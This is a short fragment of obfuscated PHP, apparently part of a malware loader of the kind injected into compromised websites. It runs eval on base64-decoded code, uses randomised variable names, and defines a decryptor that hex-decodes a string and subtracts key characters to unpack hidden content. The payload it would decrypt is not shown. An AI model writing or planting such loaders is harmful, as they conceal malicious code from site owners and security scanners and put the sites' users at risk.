$v_kfTr0YaU8dV="ZnVuY3Rpb24gdl9hcGx5ZVFVdDFnWCgkdl9nazFqajM2WkxzUyl7JHZfd29tdzM3ZjQ0bHU9MDt
3aGlsZSgxKXtpZigkdl9nazFqajM2WkxzU1skdl93b213MzdmNDRsdV09PW51bGwpYnJlYWs7Kyskdl9
3
b213MzdmNDRsdTt9cmV0dXJuJHZfd29tdzM3ZjQ0bHU7fQ==";eval(base64_decode($v_kfTr0YaU8dV));function v_jh2gQPzyshs($v_qv4SY5XUZiv,$v_rp9dZeSPrPB){echo "";$v_YzRvlcrUlm2="";$v_c6R1cceoqi4=(v_aplyeQUt1gX($v_rp9dZeSPrPB)/2);for($v_lPxrwk3oPVP=0;$v_lPxrwk3oPVP<$v_c6R1cceoqi4;++$v_lPxrwk3oPVP){$v_YzRvlcrUlm2.=chr(hexdec(substr($v_rp9dZeSPrPB,$v_lPxrwk3oPVP*2,2)));}$v_ZWY7Xqleryg="";$v_c6R1cceoqi4=v_aplyeQUt1gX($v_YzRvlcrUlm2);$v_yXxTpnL9NUP=v_aplyeQUt1gX($v_qv4SY5XUZiv);for($v_lPxrwk3oPVP=0;$v_lPxrwk3oPVP<$v_c6R1cceoqi4;++$v_lPxrwk3oPVP){$v_x6QPSbAPdqP=substr($v_YzRvlcrUlm2,$v_lPxrwk3oPVP,1);$v_gAfQ4Vnoudb=substr($v_qv4SY5XUZiv,$v_lPxrwk3oPVP%$v_yXxTpnL9NUP,1);$v_jrfb5Rmpljv=ord($v_x6QPSbAPdqP);$v_7fKmat5566g=ord($v_gAfQ4Vnoudb);$v_pnlpdZke1gL=$v_jrfb5Rmpljv-$v_7fKmat5566g;$v_x6QPSbAPdqP=chr($v_pnlpdZke1gL);$v_ZWY7Xqleryg.=$v_x6QPSbAPdqP;}return$v_ZWY7Xqleryg;}